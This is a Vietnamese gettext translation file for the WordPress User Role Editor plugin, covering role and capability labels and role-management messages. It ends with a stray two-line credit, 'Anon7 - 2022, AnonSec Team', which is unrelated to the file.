#: includes/classes/editor.php:1601
msgid "Delete posts"
msgstr "Xóa bài viết"

#: includes/classes/editor.php:1600
msgid "Delete published pages"
msgstr "Xóa các trang đã đăng"

#: includes/classes/editor.php:1599
msgid "Delete others pages"
msgstr "Xóa các trang khác"

#: includes/classes/editor.php:1598
msgid "Delete pages"
msgstr "Xóa trang"

#: includes/classes/editor.php:1597
msgid "Publish pages"
msgstr "Đăng trang"

#: includes/classes/editor.php:1596
msgid "Edit published pages"
msgstr "Sửa các trang đã đăng"

#: includes/classes/editor.php:1595
msgid "Edit others pages"
msgstr "Sửa các trang khác"

#: includes/classes/editor.php:1594
msgid "Level 0"
msgstr "Cấp độ 0"

#: includes/classes/editor.php:1593
msgid "Level 1"
msgstr "Cấp độ 1"

#: includes/classes/editor.php:1592
msgid "Level 2"
msgstr "Cấp độ 2"

#: includes/classes/editor.php:1591
msgid "Level 3"
msgstr "Cấp độ 3"

#: includes/classes/editor.php:1590
msgid "Level 4"
msgstr "Cấp độ 4"

#: includes/classes/editor.php:1589
msgid "Level 5"
msgstr "Cấp độ 5"

#: includes/classes/editor.php:1588
msgid "Level 6"
msgstr "Cấp độ 6"

#: includes/classes/editor.php:1587
msgid "Level 7"
msgstr "Cấp độ 7"

#: includes/classes/editor.php:1586
msgid "Level 8"
msgstr "Cấp độ 8"

#: includes/classes/editor.php:1585
msgid "Level 9"
msgstr "Cấp độ 9"

#: includes/classes/editor.php:1584
msgid "Level 10"
msgstr "Cấp độ 10"

#: includes/classes/editor.php:1583
msgid "Read"
msgstr "Xem"

#: includes/classes/editor.php:1582
msgid "Edit pages"
msgstr "Sửa trang"

#: includes/classes/editor.php:1581
msgid "Publish posts"
msgstr "Đăng các bài viết"

#: includes/classes/editor.php:1580
msgid "Edit published posts"
msgstr "Sửa các bài viết đã đăng"

#: includes/classes/editor.php:1579
msgid "Edit others posts"
msgstr "Sửa các bài viết khác"

#: includes/classes/editor.php:1578
msgid "Edit posts"
msgstr "Sửa bài viết"

#: includes/classes/editor.php:1577
msgid "Unfiltered html"
msgstr "Không lọc html"

#: includes/classes/editor.php:1576
msgid "Import"
msgstr "Nhập"

#: includes/classes/editor.php:1575
msgid "Upload files"
msgstr "Tải file lên"

#: includes/classes/editor.php:1574
msgid "Manage links"
msgstr "Quản lý các liên kết"

#: includes/classes/editor.php:1573
msgid "Manage categories"
msgstr "Quản lý các chuyên mục"

#: includes/classes/editor.php:1572
msgid "Moderate comments"
msgstr "Giám sát các bình luận"

#: includes/classes/editor.php:1571
msgid "Manage options"
msgstr "Quản lý các lựa chọn"

#: includes/classes/editor.php:1570
msgid "Edit files"
msgstr "Sửa file"

#: includes/classes/editor.php:1569
msgid "Edit users"
msgstr "Sửa người dùng"

#: includes/classes/editor.php:1568
msgid "Edit plugins"
msgstr "Sửa tiện ích"

#: includes/classes/editor.php:1567
msgid "Activate plugins"
msgstr "Kích hoạt tiện ích"

#: includes/classes/editor.php:1566
msgid "Edit themes"
msgstr "Sửa chủ đề"

#: includes/classes/editor.php:1565
msgid "Switch themes"
msgstr "Đổi chủ đề"

#: includes/classes/editor.php:1563
msgid "Subscriber"
msgstr "Subscriber"

#: includes/classes/editor.php:1562
msgid "Contributor"
msgstr "Contributor"

#: includes/classes/editor.php:1561
msgid "Author"
msgstr "Tác giả"

#: includes/classes/editor.php:1560
msgid "Editor"
msgstr "Biên tập viên"

#: includes/classes/editor.php:1355
msgid "This role does not exist - "
msgstr "Quyền hạn này không tồn tại"

#: includes/classes/editor.php:1353
msgid "Can not set Administrator role as a default one"
msgstr "Không thể thiết lập quyền hạn Administrator như là quyền hạn mặc định"

#. translators: placeholder %s is replaced by default user role name
#: includes/classes/editor.php:1348
msgid "Default role for new users is set to %s successfully"
msgstr "Quyền hạn mặc định cho người dùng mới được thiết lập %s thành công"

#: includes/classes/editor.php:1350
msgid "Error encountered during default role change operation"
msgstr "Lỗi gặp phải trong quá trình thay đổi quyền hạn mặc định"

#. translators: placeholder %s is replaced by not deleted user role id string
#. value
#: includes/classes/editor.php:1303
msgid "Role %s is deleted successfully"
msgstr "Xóa thành công quyền hạn %s "

#: includes/classes/editor.php:1300
msgid "Unused roles are deleted successfully"
msgstr "Xóa thành công các quyền hạn không được sử dụng"

#. translators: 1st placeholder %s is replaced by original user role name, 2nd
#. placehoder is replaced by new user role name
#: includes/classes/editor.php:1168
msgid "Role %1$s is renamed to %2$s successfully"
msgstr "Vai trò %1$s đã được đổi tên thành %2$s thành công"

#. translators: placeholder %s is replaced by not existed user role id string
#. value
#: includes/classes/editor.php:1154
msgid "Role %s does not exists"
msgstr "Quyền hạn %s không tồn tại"

#: includes/classes/editor.php:1146
msgid "Error: Empty role display name is not allowed."
msgstr "Lỗi: Không cho phép hiển thị tên quyền hạn bị trống"

#: includes/classes/editor.php:981
msgid "Error: Role ID is empty!"
msgstr "Lỗi: ID quyền hạn trống!"

#. translators: placeholder %s is replaced by created user role id string value
#: includes/classes/editor.php:1061
msgid "Role %s is created successfully"
msgstr "Tạo thành công quyền hạn %s"

#: includes/classes/editor.php:1053
msgid "Error is encountered during new role create operation"
msgstr "Lỗi gặp phải trong quá trình tạo mới quyền hạn mặc định"

#. translators: placeholder %s is replaced by existed user role id string value
#: includes/classes/editor.php:1032
msgid "Role %s exists already"
msgstr "Quyền hạn %s đã tồn tại"

#: includes/classes/editor.php:997
msgid "Error: WordPress does not support numeric Role name (ID). Add latin characters to it."
msgstr "Lỗi: WordPress không hỗ trợ tên quyền hạn là số. Vui lòng thêm ký tự chữ."

#: includes/classes/editor.php:991
msgid "Error: Role ID must contain latin characters, digits, hyphens or underscore only!"
msgstr "Lỗi: ID quyền hạn phải bao gồm ký tự chữ latin, số, gạch ngang hoặc gạch chân!"

#: includes/classes/capability.php:84 includes/classes/capability.php:206
#: includes/classes/editor.php:948 includes/classes/editor.php:1018
#: includes/classes/editor.php:1073 includes/classes/editor.php:1134
#: includes/classes/editor.php:1282 includes/classes/editor.php:1325
#: includes/classes/user-role-editor.php:669
msgid "Insufficient permissions to work with User Role Editor"
msgstr "Không đủ quyền để thao tác trên User Role Editor"

#: includes/classes/editor.php:1400
msgid "User Roles are restored to WordPress default values. "
msgstr "Quyền hạn người dùng đã được khởi tạo theo giá trị mặc định của WordPress."

#: includes/classes/editor.php:911
msgid "Error occurred during user update"
msgstr "Lỗi xảy ra trong quá trình cập nhật người dùng"

#: includes/classes/editor.php:909
msgid "User capabilities are updated successfully"
msgstr "Khả năng người dùng cập nhật thành công"

#: includes/classes/editor.php:905
msgid "Error occurred during role(s) update"
msgstr "Lỗi xảy ra trong quá trình cập nhật vai trò"

#: includes/classes/editor.php:902
msgid "Roles are updated for all network"
msgstr "Quyền hạn đã được cập nhật cho tất cả Network"

#: includes/classes/editor.php:900
msgid "Role is updated successfully"
msgstr "Cập nhật quyền hạn thành công"

#: includes/classes/editor.php:235
msgid "does not exist"
msgstr "không tồn tại"

#: includes/classes/editor.php:234
msgid "Role"
msgstr "Quyền hạn"

#: includes/classes/editor.php:232 includes/classes/editor.php:234
msgid "Error: "
msgstr "Lỗi:"

#. Plugin Name of the plugin
#: user-role-editor.php includes/classes/capabilities-groups-manager.php:84
#: includes/classes/editor.php:1490 includes/classes/user-role-editor.php:590
#: includes/classes/user-role-editor.php:591
#: includes/classes/user-role-editor.php:603
#: includes/classes/user-role-editor.php:604
#: includes/classes/user-role-editor.php:619
#: includes/classes/user-role-editor.php:620
msgid "User Role Editor"
msgstr "User Role Editor"

#: includes/classes/role-view.php:243
msgid "Capability name (ID): "
msgstr "Tên khả năng (ID):"

#: includes/classes/role-view.php:218
msgid "Select Role:"
msgstr "Chọn quyền hạn:"

#: includes/classes/role-view.php:202
msgid "Make copy of: "
msgstr "Tạo bản sao của:"

#: includes/classes/role-view.php:200 includes/classes/role-view.php:211
msgid "Display Role Name: "
msgstr "Hiển thị tên quyền hạn:"

#: includes/classes/role-view.php:198 includes/classes/role-view.php:209
msgid "Role name (ID): "
msgstr "Tên quyền hạn (ID):"

#: includes/classes/editor.php:1531
msgid "Error: wrong request"
msgstr "Lỗi: Sai yêu cầu"

Anon7 - 2022
AnonSec Team